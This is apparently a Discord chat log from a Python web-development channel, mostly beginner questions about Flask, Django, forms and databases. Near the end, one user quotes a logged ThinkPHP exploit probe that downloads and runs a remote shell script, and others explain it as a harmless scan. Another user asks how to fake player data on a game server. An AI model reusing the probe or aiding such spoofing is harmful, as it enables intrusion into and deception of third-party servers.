#web-development
2 messages Β· Page 147 of 1
here is how i am doing itpy elif request.method == "GET": if session['email'] == 'root@root' and session['pass'] == "root": return render_template("index.html", title=title) elif session['email'] is None and session['pass'] is None: return redirect(url_for('login')) else: return redirect(url_for('login'))
Fyi, I'm using Jsonify, do I need to craft some stuff to get this working fully?
how would I run a form when a page is loaded
I tried this but it didn't work ```{% extends 'layout.html' %}
<form action="/selectserver" method="post" id="foo">
<input type="hidden" id="code" name="code" value={{ code }}>
</form>
<!DOCTYPE html>
<html lang="en">
<head>
<!-- Required meta data -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<link rel="shortcut icon" href="https://cdn.glitch.com/dff50ce1-3805-4fdb-a7a5-8cabd5e53756%2Ffavicon.ico?v=1604604750774">
<link rel="icon" sizes="192x192" href="https://cdn.glitch.com/dff50ce1-3805-4fdb-a7a5-8cabd5e53756%2Ffavicon-32.png?v=1604606481568">
<link rel="apple-touch-icon" href="https://cdn.glitch.com/dff50ce1-3805-4fdb-a7a5-8cabd5e53756%2Ffavicon-32.png?v=1604606481568">
<title>Fireball Dashboard</title>
<!-- Bootstrap core CSS -->
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="../static/style.css" rel="stylesheet">
<form action="/selectserver" method="post" id="foo">
<input type="hidden" id="code" name="code" value={{ code }}>
</form>
<!-- Bootstrap JS -->
<script type="text/javascript">
window.onload = function () {
document.getElementsByTagName("form")[0].submit();
}
</script>
<script src="//code.jquery.com/jquery-1.12.0.min.js"></script>
<script src="//code.jquery.com/jquery-migrate-1.2.1.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</html>```
By "run" I'm assuming you mean "submit", yeah?
print session to see its keys / data structure
the issue is that 'email' is not a valid key
what's the point of submitting that form on page load? You're passing a value from your view -> your template -> another view - just cut out the middleman and send that value from the original view -> end view as an API.
disocrd aouth2 uses get
I am changing it to a post
so yeah
yeah, so tell me again why you need that in the template?
you can send requests from the view
how would I do that?
import requests
requests.post("your_url", data=your_data)
@opaque rivet it says cannot use method @app.route('/codetopost', methods=['get']) async def codetopost(): code = request.args.get('code') code = str(code) return await requests.post("/selectserver", code=code)
that just sends a HTTP request, you don't want to return it.
read a tutorial on it:
https://realpython.com/python-requests/
@opaque rivet this is what I see @app.route('/codetopost', methods=['get']) async def codetopost(): code = request.args.get('code') code = str(code) requests.post("/selectserver", data={"code":code})
it still doesnt work
does your endpoint /selectserver accept POST requests?
yes
async def selectserver():```
define "will not work"
I'm smelling "forgot to set a secret key" in the answer.
does your template read the flashes?
yes. Flash just adds a tuple to a set that is retrievable
ok now it accepts it what should I put for this
code = form["code"]```
to accept the data @opaque rivet
There's a good rundown over here: https://www.askpython.com/python-modules/flask/flask-flash-method
{% for flashed_message in get_flashed_messages() %}
{{flashed_message}}
{% endfor %}
It's something like this
do people still use templates in industry? or is it all moving to JS libraries?
In industry? Yes, absolutely.
I wouldn't lean on templates so much though, I'd learn it make a project, and then move on to a frontend framework
You'd put that wherever you want your flashed messages to show, that's up to you
@opaque rivet sorry for the ping but would using a try and except for the above issue would be a normal thing right? or would it cause any issues
@opaque rivet what would I put to accpept the data, also its saying its a get thing
Nah, templates will die when JS isn't a trashfire to work with.
hi, sorry for interupting but how can I send data from a bootstrap dropdown with the form so I can read it with flask in python
I know a surprising amount of folks who use templates to generate the frontend.
im just going to make a is this you page or some crap
like, a select?
request.data maybe? Print request and see its data structure. I don't use Flask so it's better reading a guide.
templates already kinda dead π¬
My work blocks NPM and we have to vet every library version through.
I use quart
Templates reign supreme.
ah I see I was using dropdown all along while I needed select
thanks
No but really, you get nowhere the amount of features using templates as you do with a separate framework
Any DOM change without JS and your page refreshes... that isn't the standard for sure π
We have access to... Two versions of React and if you don't keep up with the latest version you're toasted. Most people use React/jQuery/etc purely as lightweight interactivity and server side render everything else.
Half our frontend tools are just perl/java with Bootstrap thrown on top
Fun fact: did you know that Amazon's entire shopping experience works without JS?
From what I've been told, it's 100% SSR with some light stuff on top for things like lightboxes and such
Yeah that makes sense
I really like developing w/ React, and I've been getting into Next.js recently which supports SSR
There's a lot of hype with those technologies
oh, what's old is new again with SSR. it cracks me up.
Yeah I've had no idea how to serve it from Django though
its pretty niche
need it for SEO which SSR is good for
If anyone is familiar with Flask routing, can they look in #help-falafel thanks
server side rendering, as opposed to client side rendering
AttributeError: 'bytes' object has no attribute 'encode'
Using Flask
do .decode() on your object to go from bytestring -> string
content = models.CharField(max_length=500)
date = models.DateTimeField(auto_now_add=True)
from_user = models.ForeignKey(User,on_delete=models.CASCADE, related_name='from_user')
to_user = models.ForeignKey(User,on_delete=models.CASCADE, related_name='to_user')
def __str__(self):
return self.content
class Meta:
unique_together = (('from_user', 'to_user'),)```
hey, how would i make 'from_user' and 'to_user' different from each other? So that a user wont make a comment on its own profile.
if user is owner of the post:
raise error
Can you show us the Profile model and the method that handles the comment ?
@heavy roost
Is it possible to do this only with models? Maybe a Meta function similar to unique_together, which i used to limit number of comments a user can make on another user's profile?
im still very new to flask so go easy on me. How can i distinguish between sign up and sign in?
<div class="NotSingedInBox">
<input type="submit" value="Sign in" class="SignInBTN">
<input type="submit" value="Sign up" class="SignInBTN">
</div>
Hey, is it possible to display django validation errors like the default ones? For example like this:
My current validation errors just return the debug page
how i handle validations currently: ```
class Comment(models.Model):
content = models.CharField(max_length=500)
date = models.DateTimeField(auto_now_add=True)
rating = models.PositiveSmallIntegerField(default=1,validators=[MinValueValidator(1,message="Rating value is too low."),MaxValueValidator(5,message="Rating value is too high.")])
from_user = models.ForeignKey(User,on_delete=models.CASCADE, related_name='from_user')
to_user = models.ForeignKey(User,on_delete=models.CASCADE, related_name='to_user')
def validate_different(self):
if self.from_user == self.to_user:
raise ValidationError(_('Both users are the same.'),code='invalid')
def __str__(self):
return self.content
def save(self, *args, **kwargs):
self.validate_different()
return super().save(*args, **kwargs)
class Meta:
unique_together = (('from_user', 'to_user'),
I will take that is guide also.
I'm sorta new to django, what do you guys thing think is the best part?
The most useful part.
I think a built-in ORM and robust API framework (DjangoRestFramework). Also a good html template engine built in, but then people use APIs now and render html in React frontend. Also Django has a long-running and great community (as is evident here) :p
Use a tabbed space with one form in each tab.
Great insights!
hi guys When I run: import requests
I get: Traceback (most recent call last): File "<pyshell#9>", line 1, in <module> import requests ModuleNotFoundError: No module named 'requests'
When I check pip list on my terminal, it tells me that I have a request module installed already (2.19.1).
When I run pip install requests on my terminal, it tells me this:
Requirement already satisfied: requests in /anaconda3/lib/python3.6/site-packages (2.19.1) Requirement already satisfied: urllib3<1.24,>=1.21.1 in /anaconda3/lib/python3.6/site-packages (from requests) (1.22) Requirement already satisfied: certifi>=2017.4.17 in /anaconda3/lib/python3.6/site-packages (from requests) (2018.1.18) Requirement already satisfied: idna<2.8,>=2.5 in /anaconda3/lib/python3.6/site-packages (from requests) (2.6) Requirement already satisfied: chardet<3.1.0,>=3.0.2 in /anaconda3/lib/python3.6/site-packages (from requests) (3.0.4).
plz help me :((
I'm not a developer by trade but an accountant who enjoys coding and dev in my spare time and automating the boring stuff. Anyways, I am trying to showcase some of my coding work in the hopes of landing a job with a big accounting firm in the data analytics department. Was thinking of writing a django/react site that I can use for a blog post, showcase some work that I have done regarding automating accounting functions, resume page and so on. I would like the posts and articles to have have different components inline ['text', 'code snippet', 'text', 'image', 'text'], like how articles are written on real python. How do you define an object that can have these different types of output inline? Would markdown be the best route to go?
do python -m pip install requests
like with whatever python you are using to run your file
running pip bare wire leads to tons of simple confusions
Unrelated by one of the best advices i can give you is to maintain an accounting package that helps
I actually was working with someone on a django package called django-ledger. But right now I'm studying for my CPA exam and that is consuming my life.
Ah i get you!
I have a database management course for grad school, and one of the projects is to render web pages from a db. Thought I could kill two birds with one stone here and get a site up and running to get a little credibility and complete a hw assignment at the same time.
Yesss!
#!/usr/bin/env python
from flask import Flask, flash, redirect, render_template, \
request, url_for
app = Flask(__name__)
@app.route('/')
def index():
return render_template(
'index.html',
data=[{'name':1}, {'name':2}, {'name':3}])
@app.route("/test" , methods=['GET', 'POST'])
def test():
select = request.form.getlist('comp_select')
return(str(select)) # just to see what select is
if __name__=='__main__':
app.run(debug=True)
your question is?
<form class="form-inline" method="POST" action="{{ url_for('test') }}"> <div class="form-group"> <div class="input-group"> <span class="input-group-addon">Please select</span> <select name="comp_select" class="selectpicker form-control"> {% for o in data %} <option value="{{ o.name }}">{{ o.name }}</option> {% endfor %} </select> </div> <button type="submit" class="btn btn-default">Go</button> </div> </form>
@wispy quail Hi, sorry about that, I would like to select numeric value in my selection and return back , but unfortunately, it prompt me this error TypeError: βlistβ object cannot be interpreted as an integer
o gives you {'name':1} the first time. so o['name'] gives you 1
Hmmm nope it dint even return any value
using . notation works for dictionary?
returns this at my place: ['3']
can show me the example @wispy quail ?
I just copy pasted your code and ran it
int(request.form['comp_select'])
well you asked for a list, you got a list
request.form['comp_select'] gives you the answer
wait a moment, actually I use this to another source code
maybe different scenario happen in my code
I share to you my code
@app.route('/')
def form():
return render_template('index.html', data=[{'year':1}, {'year':2}, {'year':3}])
@app.route('/transform', methods=["POST"])
def transform_view():
.........
........
X_FUTURE = request.form.getlist('comp_select')
transform = np.array([])
last = dataset[-1]
for i in range(X_FUTURE):
curr_prediction = model.predict(np.array([last]).reshape(1, look_back, 1))
last = np.concatenate([last[1:], curr_prediction.reshape(-1)])
transform = np.concatenate([transform, curr_prediction[0]])
transform = scaler.inverse_transform([transform])[0]
<form class="form-inline" method="POST" action="{{ url_for('transform_view') }}">
<div class="form-group">
<div class="input-group">
<span class="input-group-addon">Please select</span>
<select name="comp_select" class="selectpicker form-control">
{% for o in data %}
<option value="{{ o.year }}">{{ o.year }}</option>
{% endfor %}
</select>
</div>
<button type="submit" class="btn btn-default">Go</button>
</div>
</form>
This is the error I got
I want to let the user select the year and pass it to X_FUTURE for predicting future value
@wispy quail
same thing
use X_FUTURE = int(request.form['comp_select'])
the errror happens as getlist returns a list which you cannot use int() with
werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand. KeyError: 'comp_select'
I have no idea it is because of my HTML page
<body>
<h1>Time Series Sales Forecasting</h1>
</br>
</br>
</br>
</br>
<div class = "upload">
<p> <span>This is a Time Series Sales Forecasting webpage system
and</span>
<span>this system will basically predict the future sales for next
comming one year later, </span>
<span>Please upload your CSV file for predicting.</span></p>
</br>
</br>
<form action="/transform" method="post" enctype="multipart/form-data">
<input type="file" name="data_file" class="file"/>
</br>
</br>
<button type="submit" class="button">Predict</button>
</form>
</div>
<form class="form-inline" method="POST" action="{{ url_for('transform_view') }}">
<div class="form-group">
<div class="input-group">
<span class="input-group-addon">Please select</span>
<select name="comp_select" class="selectpicker form-control">
{% for o in data %}
<option value="{{ o.year }}">{{ o.year }}</option>
{% endfor %}
</select>
</div>
</div>
</form>
</body>
I have no idea it is because I have 2 form here
while installing mysqlclient for django i got this error
command: /Users/mac/rohil/user_api_django/bin/python3 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-req-build-z6i7lulh/setup.py'"'"'; __file__='"'"'/private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-req-build-z6i7lulh/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-pip-egg-info-trjspjto
cwd: /private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-req-build-z6i7lulh/
Complete output (12 lines):
/bin/sh: mysql_config: command not found
/bin/sh: mariadb_config: command not found
/bin/sh: mysql_config: command not found
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-req-build-z6i7lulh/setup.py", line 15, in <module>
metadata, options = get_config()
File "/private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-req-build-z6i7lulh/setup_posix.py", line 65, in get_config
libs = mysql_config("libs")
File "/private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-req-build-z6i7lulh/setup_posix.py", line 31, in mysql_config
raise OSError("{} not found".format(_mysql_config_path))
OSError: mysql_config not found
----------------------------------------
ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
anybody that can do html and css up for a simple 15 min project right now?
Hi community, I need help, does anyone know how to combine 2 forms with one submit button in HTML page? I would like to select choice before I upload a file, so it is possible to have this kind of situation ?
Hi, is it possible to set cookies in Flask without using a form? Ideally just by the user clicking a <button>?
use ajax
Whats the problem of having one form?
I'm trying to host my django website on Heroku but it is not loading my static css files.
It works on my laptop but not online
This is the error I get on the console
Hi, I think I need a bit of guidance in web scraping with beautifulsoup4, I've read the documentation but am still struggling. What's the best channel to ask for help?
oh fixed it
#views.py
class ContributionViewSet(viewsets.ModelViewSet):
queryset = Contribution.objects.all()
serializer_class = ContributionSerializer
permission_classes = [permissions.IsAuthenticatedOrReadOnly]
def get_queryset(self):
contributions = Contribution.objects.filter(faculty=self.kwargs['faculty_id'])
return contributions
#urls.py
router = DefaultRouter()
router.register(r'list/(?P<faculty_id>[0-9]+)',ContributionViewSet)
urlpatterns = [
path('', include(router.urls)),
]```
Django. I am trying to retrieve contributions that belong to specific faculty through faculty_id from user input? Am I doing correctly? Also, if I want to get all contributions (regardless faculty) what should i do now?
Morning
Or afternoon. :-)
Random question, I run flask apps through WSGI on apache. The problem is that if I have a bug in my flash code, the web page fails with "server error."
This is normal behavior, but in order to resolve the problem, I want to get access to the stack trace, and cannot find it anywhere. I have tried all logs and never find it. Is it accessible somewhere?
anyone here ?
do you mean like this?
<form method="POST">
<input type="submit" value="Sign in" name="Sign in" class="SignInBTN">
<input type="submit" value="Sign up" name="Sign up" class="SignUpBTN">
</form>```
so i added a foreign key from another model and it views a a dropdown
this is what is inside the categories
now when i go to my products to create a product, which will assign the product to a category
i have a dropdown in the products create
and i don't see "skates"
this is what it looks like when i make a product, it isnt loading the categories foreign key data to the dropdown
i really need some help with django π¦
Heyo, beginner in Django here
any tutorials suggestions to start off?
@crimson wyvern django documentation is pretty good
<script>
document.getElementById("myBtn").addEventListener("click", function() {
document.getElementById("demo").innerHTML = "Hello World";
});
</script>
<button type = 'button'>
Click me
</button>``` I may sound stupid, but why doesn't this button event work?
(And yes there is more stuff there, that is just the one part that doesn't work)
Thanks. Can you send up link if possible?
Help would be appreciated.
Corey shafer on youtube, great guide π
Thanks a tonne
try the get started
your button does not have the ID myBtn
ahhh
was just looking at that. Thankss dude
Is this how I would do it ? <button type = 'button, id = myBtn>
<button type='button' id='myBtn'>...</button>
oh alr so no comma
no comma, html attributes are separated by spaces
how to put my localhost website to public?
Hi
return template('test.html', d=rows)
TypeError: 'module' object is not callable anyone can help me here?
@wispy quail cheers for the tip. I've never used AJAX, though am familiar with JS. Could you signpost me to any tutorials or resources?
template is a module not a function.
I think you mean something like render_template()
Does anyone know how to access a stack trace from a flask app running through apache/wsgi? I have tried everything and cannot figure it out.
i am using bottle not flask @opaque rivet
kinda unrelated, but I would highly recommend learning React if you know a bit of JS already π
I have tried logging.exception, no joy, upping the logging level to info. Nope. It is frustrating.
Are you getting a 500 error? If you set DEBUG = True in the Flask config it should return the stacktrace in the browser as HTML (unless it's an Ajax request, ofc)
how can i make an offical link to get to my html page?
You're basically asking "How do I make a website", honestly
no i am asking how to make a link
or yeah ur right
sorry i am a beginner
Well, I don't think asking in this chat will help much... I'd suggest finding some guides on webdev online
ohh
Someone here might be able to find such a resource, but that's probably the extent
You can, but it's not standalone. There are other things you need to do. You can self-host and use an IP directly instead of a domain-name, but again, the internet will probably have more in-depth information
yeah i will search this up on the internet but thanks for the time
COD?
Thanks @opaque rivet I should be learning about it soon on a course that I've just enrolled in: CS50 Web programming with Python and JavaScript, from Harvard π
Hello
I'm new to flask and I was wondering, is it possible to shard an app ? For example if I make a big app, how would it be possible to divide my app to host it on multiple servers ? so the load would be lighter
I mean, are there ressources out there where I could learn about this ?
i loved taking that course, it goes into lots of concepts that are important to web development and the projects are challenging but enjoyable π
!warn 824658888695349258 Sneaker bots are by design ToS breaking. And we do not allow advertising or offers for paid work here. Please read our rules. This will be your only warning on this.
:incoming_envelope: :ok_hand: applied warning to @deep belfry.
@wooden ruin I am so happy to hear that! Thanks for sharing π I did CS50 last year, which was incredible so i do have high expectations. Not sure if I'm ready for Django yet, feel like I have barely scratched the surface with Flask.
what do you guys use to deploy projects utilizing django channels?
β unsilenced current channel.
This doesn't seem to get the data:
C:\Users\User\Documents>type bs10stub.py
# test routine
from bs4 import BeautifulSoup
import requests
import lxml
def get_link_data(url):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',
'Accept-Language': "en",
}
r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.content, 'lxml')
return(soup)
def get_yaxis_labels():
# Should call with soup.find.string
soupy = soup.find('g', {'class' : 'highcharts-yaxis-labels'})
yaxis = []
for i in list(soupy.children):
yaxis.append([int(i.get('y')), i.text, None])
yaxis[len(yaxis)-1][2] = (yaxis[len(yaxis)-1][1].strip('$, '))
return (yaxis)
def main():
pass
main()
filename = "urlPageSaved.html"
soup = BeautifulSoup(open(filename,'rb').read(), "lxml")
# url = "https://www.investsmart.com.au/invest-with-us/investsmart-growth-portfolio"
# soup = get_link_data(url)
# print(soup)
yaxis = get_yaxis_labels()
print(yaxis)
C:\Users\User\Documents>python bs10stub.py
[[396, '$6k', '6k'], [334, '$8k', '8k'], [272, '$10k', '10k'], [211, '$12k', '12k'], [149, '$14k', '14k'], [87, '$16k', '16k'], [26, '$18k', '18k']]
C:\Users\User\Documents>```
When the two lines under main() to read the file are disabled and next two enabled it falls over.
!e ```
test routine
from bs4 import BeautifulSoup
import requests
import lxml
def get_link_data(url):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',
'Accept-Language': "en",
}
r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.content, 'lxml')
return(soup)
def get_yaxis_labels():
# Should call with soup.find.string
soupy = soup.find('g', {'class' : 'highcharts-yaxis-labels'})
yaxis = []
for i in list(soupy.children):
yaxis.append([int(i.get('y')), i.text, None])
yaxis[len(yaxis)-1][2] = (yaxis[len(yaxis)-1][1].strip('$, '))
return (yaxis)
def main():
pass
main()
filename = "urlPageSaved.html"
soup = BeautifulSoup(open(filename,'rb').read(), "lxml")
url = "https://www.investsmart.com.au/invest-with-us/investsmart-growth-portfolio"
soup = get_link_data(url)
print(soup)
yaxis = get_yaxis_labels()
print(yaxis)
You are not allowed to use that command here. Please use the #bot-commands channel instead.
anyone know any good resources to learn session handling for flask?
nvm its actually really simple im just being super dumb
Hey, I'm facing an error, plz help
actually I got set-cookies in my response header, but cookies are not store in broweser
this is my frontend code
This is my backend code
plz help
here is my cors and jwt config
plz help guys
anyone tried deploying webapp to azure before
I have three models like this (Simplified).
class Locker(CoreModel):
def str(self):
return self.name
topic = models.CharField(
verbose_name=_('topic'),
help_tex...
can someone please help me here? Thanks a lot!
@twilit needle maybe you can make a seperate view/path for each functionality? Such as uploading files, or retrieve files/folders individually
Also, how is that recursive?
If you want to create a chain of DB entries you can use django signals
So in Flask SQLAlchemy I want to store a list of members in a group in a column
Would I use PickleType?
Or would I create a new table and do a one to many relationship?
one to Many
This is the way you should go to when using SQL db's
You could give it a try to NON-SQL like Mongo ifyou would like to have a list
so when is pickle used?
I would not use
Only for specif cases
when I would want to store some object
That woundt get to big or need to filter inside it
But I prefer not to use
In your case you really shoud build a new table
and do a one to many relationship
And I would not use PickleType for that, I prefer JSON
Oh I see, thank you!
I'm glad I could help π
I will give one example that has nothing to do with Python when I would serialize an object inside an sql db
So in Minecraft servers you could write a plugin that would spawn some random items in a given location. Locations in Minecraft is an object with an X, Y, Z cordinate, so I would serialize this locations in a json: {'x':30, 'y':15, 'z':20} and save it inside an String column called location.
hi guyz
sup
Ahhh I see
So you wouldnt even use pickle for that
you woud just jsonise it and put it as a String i see
guys im trying to make a chrome extension (or anything that can work parallel in multible tabs) that clicks 2 coords on the screen. the site is made in unity, so no html tags for buttons. Is this possible in any way?
why wouldnt you use Pickle?
i can click elements, but having issues with coord clicking
oh interesting okay
And JSON is lighter then PickeType
But remember serializing list and putting inside an sql row is not a good practice
If you could create a new table, create it
Its easier, fast and safer
Yaeh i didnt know that
got some question regarding json dictonary response
its 4 levels deep. And i got towards the last level.. but cant seem to get my data out of the next level π¦
What is happening ?
i get to the last level. and i checked for the type just to be sure. And it still is a dict.
{
"2160":{
"key1": value
},
but when i do for x in dict:
print(x)
i get 2160 back as value
Are you parsing the json?
numbers = requests.get(url,headers=headers)
numbers = numbers.json()
numbers = numbers['data']['numbers']
kinde messy though. but its a test
"numbers":{
"2160":{
keys
},
"2161":{
keys
},
its like that
And you still need to decode it
and goes on like 2162 , 2163 etc
If you want to access data inside
Just acces via the key
For example
For x in numbers:
Print(numbers[x]
You wont get the values
i need to loop over everything. and get values of a key inside 2160. Maybe i need to decode again ?
Because you are interating over the keys
Noo
Ok so, tell me
what is the data of this value
How does it look like?
You could do something like
for x in numbers.items():
print(x)
it would return the dictionary inside
the key
So keys are a list ?
could i dm you with the values ?
sure
when you say for x in numbers you iterate over the keys of that dictionary (2160, 2161...)
instead, say:
for key, value in list(your_dict.items()):
# 1st run: key = 2160, value = keys (dict)
# 2nd run: key = 2160, value = keys (dict)
No need to use list too. You can simply:
for key, value in your_dict.items()
# 1st run: key = 2160, value = keys (dict)
# 2nd run: key = 2161, value = keys (dict)
or
for item in your_dict.items()
# 1st run: (2160, your_dict[2160])
# 2nd run: (2161, your_dict[2161])
If your_dict[key] is a dict and you need to iterate over it, I suggest you create a function that iterates a dict recursively. Something like this:
def dictIterator(my_dict):
whatIwantToSava = []
for key, value in my_dict.items():
if type(value) == dict:
whatIwantToSave.append(dictIterator(value))
else:
whatIwantToSave.append(...)
return whatIwantToSave
if i want to create like a form where multiple users has access to edit
how can i prevent conflict?
maybe like how can i prevent ppl from editing the form at the same time
with Flask
so sth like
"Oops! User A is already editing! Please wait until User A is done, and refresh the page"
can someone recommend some nice django books?
Django For beginners , Django for professionals. I started from scratch and its a great start
Hello Friends, Can we change the Json data on the Target IP as we want by sending a package?
Sample: 89.163.142.192:30120/players.json
Sample 89.163.142.192:30120/info.json
I Want Make Fake Players For Servers
Who Can Help Me This Topic?
The best way
Would be with websockets
You can listen to when the user connected
And when disconnected
Orr
how do i do it with tokens?
like auth tokens
also just to clarify, i only want a single tab to have access
Ohh
anything with flask?
what are u usingw
?
An easier aproach
would be to get a timer
So maybe u think the user will spent 30 seconds do edit the profile
I can't imagine a way of doing with tokens
- user A starts editing
- token is generated for user A and saved in user A browser
- user B tries to edit
- here, how would they check if user B can edit or not?
yeah
i couldnt either
so just to explain my situation further
I have like a group project sort of thing where any group member can access and edit the form
i have a db to record the details of the form
i want to prevent conflicts, so i was thinking of storing a Boolean column in the db to keep track of whether someone is currently editing the page or not
so i would update it every time they access and leave the page
this was my first approach
(i copy pasted this message from another server so it kinda falls out of place but just to clarify)
okk
so you will use websockets
The things you need to know
- User try to access the form
-> You will verify if someone is using - User access it, you create a connection via websockets and create one dict that stores the user that are editing and what form they are editing.
- If user quits the form, the connection will be shut then you remove them from the DICT
To verify just check if user acessing == user modifing in the dict
This is the aproach I would take
how about if same user starts accessing from a different device?
user acessing == user modifing in the dict
here do i compare the account?
if so then different device same login will double right
just gotta make sure the form is being edited and submitted only once so there is no conflict
even if same person is editing, i want to prevent them from accessing on another tab
how do i host multiple web pages with python, what i have now, i can only host one.
from flask import Flask, render_template
app = Flask(__name__)
@app.route("/")
def home():
return render_template("index.html")
if __name__ == "__main__":
app.run(host='0.0.0.0',port=8080, debug=True)```
Just make a new route
so like
from flask import Flask, render_template
app = Flask(__name__)
@app.route("/")
def home():
return render_template("index.html")
@app.route("/file2")
def file2():
return render_template("file2.html")
if __name__ == "__main__":
app.run(host='0.0.0.0',port=8080, debug=True)```
like that?
yes. For each page that you want to have on your site, make a route for it.
ok thank you
So I'm making a flask API
that will connect to a mysql database
but I'm using blueprints to put it in separate files
how can I use a database with this set up
preferably where I could hypothetically have multiple databases
eg. /ep1 goes to one database /ep2 goes to another
post_list = Post.objects.none()
requestTags = request.GET.get('tags')
if requestTags:
post_list = Post.objects.filter(tags__id__in=requestTags)
else:
post_list = Post.objects.all()
Hey, i'm using django. I'm trying to get back a post_list that consists of all posts that have any of the tags located in the requestTags list... current code isn't working, it only returns posts that have the last tag in my list
I think you'd have to use two different connectors in order to access both databases
yea I got that
but how
like can I make a connector local to a blueprint file?
or can I put routes in a class which inits on import?
class log:
async def init(self):
self.conn=SQLDB
@spare ridge.route(/potato)
async def route
Never tried something like that
pinged someone lol
hum so I would have to use sqlalchemy?
Yeah I think so, I don't know any other way to do that. I use it on every flask project
ok thx
It was nothing π
has anybody used apexchart with django?
i'm using apexcharts atm with react - it's pretty good! apart from that, I would've used fusioncharts - but it's an extreme pain to use with next.js
plus they have a django integration
I cant find tutorial to use apexchart with django
i meant fusioncharts have the django integration
Plus I'm looking for something that can generate colors depending on need
oh I should look for it
I want pie chart colors to be dynamic
oh @opaque rivet there is a lib django-fusioncharts
Hey @dusty moon!
It looks like you tried to attach file type(s) that we do not allow (.html). We currently allow the following file types: .gif, .jpg, .jpeg, .mov, .mp4, .mpg, .png, .mp3, .wav, .ogg, .webm, .webp, .flac, .m4a.
Feel free to ask in #community-meta if you think this is a mistake.
oops i thought discord has that new code thing
Oh, well.
This is my first HTML thing
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="Information" content="This is my first website.">
<title>my first website</title>
</head>
<body>
<h1>My first website?</h1>
<hr/>
<p>This is my first website. <b>It might be <i><big>shit</big></i>, but i don't care lol</b></p>
<br/>
<h1>Why it exists?</h1>
<hr/>
<p>Because i was bored.</p>
<br/>
<h1>Are you going to do something with it?</h1>
<hr/>
<p>Would you stop asking me all these questions and leave me alone?!</p>
<br/>
<h1>You rude f*ck!</h1>
<hr/>
<p>What?</p>
<br/>
<h1>Nothing...</h1>
<hr/>
<p>Oh, ok.</p>
<!-- i just found out about comments lol -->
</body>
</html>
Nice! I like the comment.
lol
thank you
should all the things be separated? i mean like:
<p> hello i am a thing... i forgot how its called :/ </p>
I am struggling to connect my CSS file to HTML in Flask. Has anyone done this before?
Hello so I am trying to host my discord bot and a quart web app both of these are connected
How do I properly host them kinda vague question
im using flask with render templates
how would i put folders in "templates" that store my code.
#other pages
@app.route("/troll")
def troll():
return render_template("html/troll.html")```
this is what i tried but it didnt work
with sqlachemy flask how do you structure it
with blueprints
would I declare each class in the relevant blueprint file?
or all in main
ahh per this https://www.section.io/engineering-education/flask-database-integration-with-sqlalchemy/ it would see I put them all in their own file
Ok... I am very confused
could anyone provide me with an example of flask with multiple mysql databases in different blueprint files
I'm kinda worried i'm going to overwrite/drop my DB lol
Someone can help me with docker and django?
I did some updates on my site and i did the makemigrations but didnt worked
how would I make a query in django to an external database that I have specified in DATABASES=[] in settings.py?
@lyric lance Have you had any success? I might be able to help.
Have you made the templates folder and put troll.html in there? That's all you should need to do. You don't need to do HTML/ unless you have a folder called html?
U can either use a db manager and let him decide which db to use and u do normal db queries like: users = User.objects.all() or you use the "using" parameter/function like so: User.objects.using("users").all() or for saving my_object.save(using="objects")
More Info at the docs at: https://docs.djangoproject.com/en/3.1/topics/db/multi-db/ under Manually selecting a database for a QuerySet
Note: If the database is not the default one
is there a way to not use models?
can you make an example? Everything is basically a model
How do I avoid a circular import
oh ok. Models kind of confuse me.
with flask models
that is obviously a circular import
err I forgot I took the circular bit out...
importing the app from main is a circular import
but I need that to initialize the database
I guess what i'm asking is how to a have multiple databases which are accessible from blueprints
Its actually simple if you understand the relationships and get to know some built-in features and 3rd party libraries
hey i let my django website be accessible through the internet for a few minutes to check whether i can access it on my phone... and this came through
"GET /index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.144.225.27/bin.sh ; chmod 777 bin.sh ; ./bin.sh ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 -
Should i be worried?
U mean u published it or what? If so on what platform with what server did you host it?
Did it work bc it should have shown a 400 Error Code of Bad Request
code 400, message Bad request syntax
but i did hear windows alert sound so idk what it did
well a shell script wouldn't run on windows anyway...
I would hope this isn't actually a thing that works though lmao
i'm worried about the windows alert sound
well literely none of those commands would work on windows... so
just go to your antivirus settings and see if theres any issues detected if youre worried but it shouldnt have done anything
this really shouldn't have done anything, django isn't vulnerable to that
ok
the only way that would do anything is if you #1 ran linux server and #2 had a program that did shell execution for some god unknown reason
if you put something on the internet, there are a bunch of places which will just run malicious requests for various buggy frameworks
yea
its probably an endpoint in some php framework that is meant to be private, but easy to misconfigure
you get thousands of that kind of thing every day
cloudflare helps kinda
can someone help me with my flask api? I'm trying to have multiple databases but don't understand how to import it.
I feel like i'm missing something integral to how this is susposed to work
lol... and just posted mysql user and pass. Eh good thing I use localhost only and ssh tunnel
from flask import Flask, request
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import desc
